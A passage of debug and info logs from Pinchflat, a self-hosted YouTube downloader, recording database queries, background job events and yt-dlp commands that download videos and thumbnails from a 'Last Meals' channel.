["/config/metadata/media_items/38/metadata.json.gz", "/config/metadata/media_items/38/thumbnail.jpg", 38, ~U[2026-03-28 01:38:02Z], ~U[2026-03-28 01:38:02Z]] 21:38:02.562 [debug] QUERY OK db=0.1ms commit [] 21:38:02.563 [debug] QUERY OK source="media_items" db=0.5ms idle=504.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [384202424, ~U[2026-03-28 01:38:02Z], 38] 21:38:02.563 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:38:02.564 [info] {"args":{"id":38},"id":41,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":231936339,"event":"job:stop","queue_time":2779627387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:38:02.564 [debug] QUERY OK source="tasks" db=0.3ms idle=505.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:38:02.564 [debug] QUERY OK source="tasks" db=0.4ms idle=253.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:38:02.565 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [41] 21:38:02.565 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [41] 21:38:02.569 [info] {"args":{"id":42},"id":45,"meta":{},"system_time":1774661882569645041,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:38:02.569 [debug] QUERY OK source="media_items" db=0.0ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [42] 21:38:02.569 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:38:02.570 [debug] QUERY OK source="tasks" db=0.5ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:38:02.570 [debug] QUERY OK source="tasks" db=0.5ms idle=4.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:38:02.570 [debug] QUERY OK source="sources" db=0.3ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:38:02.570 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [41, 42] 21:38:02.570 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:38:02.570 [debug] QUERY OK source="media_items" db=0.4ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [41, 42] 21:38:02.571 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [42] 21:38:02.571 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [42] 21:38:02.571 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:38:02.571 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:02.571 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:02.572 [debug] Running yt-dlp command for action: get_downloadable_status 21:38:02.572 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:02.572 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:02.572 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:02.572 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_jhZgs7qVQU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/00/cd/00cd09a8bd1e4b39b56301cd8765a1692f5e18be5cb90aaa55339953cdea2195.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:38:04.949 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_jhZgs7qVQU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/00/cd/00cd09a8bd1e4b39b56301cd8765a1692f5e18be5cb90aaa55339953cdea2195.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:38:04.949 [debug] Running yt-dlp command for action: download 21:38:04.949 [debug] QUERY OK source="settings" db=0.1ms idle=891.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:04.950 [debug] QUERY OK source="settings" db=0.0ms idle=891.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:04.950 [debug] QUERY OK source="settings" db=0.1ms idle=891.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:04.950 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_jhZgs7qVQU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/70/8e/708e2e17096b57d6a256860ee107f4c748ffda842dcaa968b03f6ea1d0dd7ed2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:38:28.736 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:58.738 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.614 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:28.739 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:36.566 [info] GET / 21:39:36.566 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:39:36.566 [debug] QUERY OK source="settings" db=0.1ms idle=507.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:36.566 [debug] QUERY OK source="media_profiles" db=0.0ms idle=507.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:39:36.567 [debug] QUERY OK source="sources" db=0.0ms idle=507.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:39:36.567 [debug] QUERY OK source="media_items" db=0.2ms idle=507.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:39:36.567 [debug] QUERY OK source="media_items" db=0.0ms idle=97.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:39:36.568 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:36.568 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:36.568 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:36.569 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:36.570 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [41, 42] 21:39:36.570 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:39:36.571 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:39:36.571 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:39:36.573 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:39:36.574 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:39:36.574 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:39:36.575 [info] Sent 200 in 9ms 21:39:37.766 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tMqYObbCYIk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7d/4d/7d4d94f52b91979462ed12a527e17d18dd7625583a66104766a0cdb3a49a5387.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:39:37.779 [debug] Running yt-dlp command for action: download_thumbnail 21:39:37.779 [debug] QUERY OK source="settings" db=0.0ms idle=1208.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:37.779 [debug] QUERY OK source="settings" db=0.0ms idle=1206.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:37.779 [debug] QUERY OK source="settings" db=0.0ms idle=1205.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:37.780 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tMqYObbCYIk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/41/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e5/11/e5111ee57109a2775670e89bc6c20445c28686bb5d09fe35918c60ecb4886a39.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:39:40.333 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tMqYObbCYIk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/41/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e5/11/e5111ee57109a2775670e89bc6c20445c28686bb5d09fe35918c60ecb4886a39.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:39:40.334 [debug] QUERY OK db=0.0ms idle=1274.6ms begin [] 21:39:40.334 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:39:37Z], "/downloads/Last Meals/2022-03-22 Corbin Bleu Eats His Last Meal/Corbin Bleu Eats His Last Meal [tMqYObbCYIk].mp4", ~U[2026-03-28 01:39:40Z], 41] 21:39:40.335 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/41/metadata.json.gz", "/config/metadata/media_items/41/thumbnail.jpg", 41, ~U[2026-03-28 01:39:40Z], ~U[2026-03-28 01:39:40Z]] 21:39:40.335 [debug] QUERY OK db=0.1ms commit [] 21:39:40.349 [debug] QUERY OK source="media_items" db=1.1ms idle=1288.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [310748729, ~U[2026-03-28 01:39:40Z], 41] 21:39:40.349 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:39:40.349 [info] 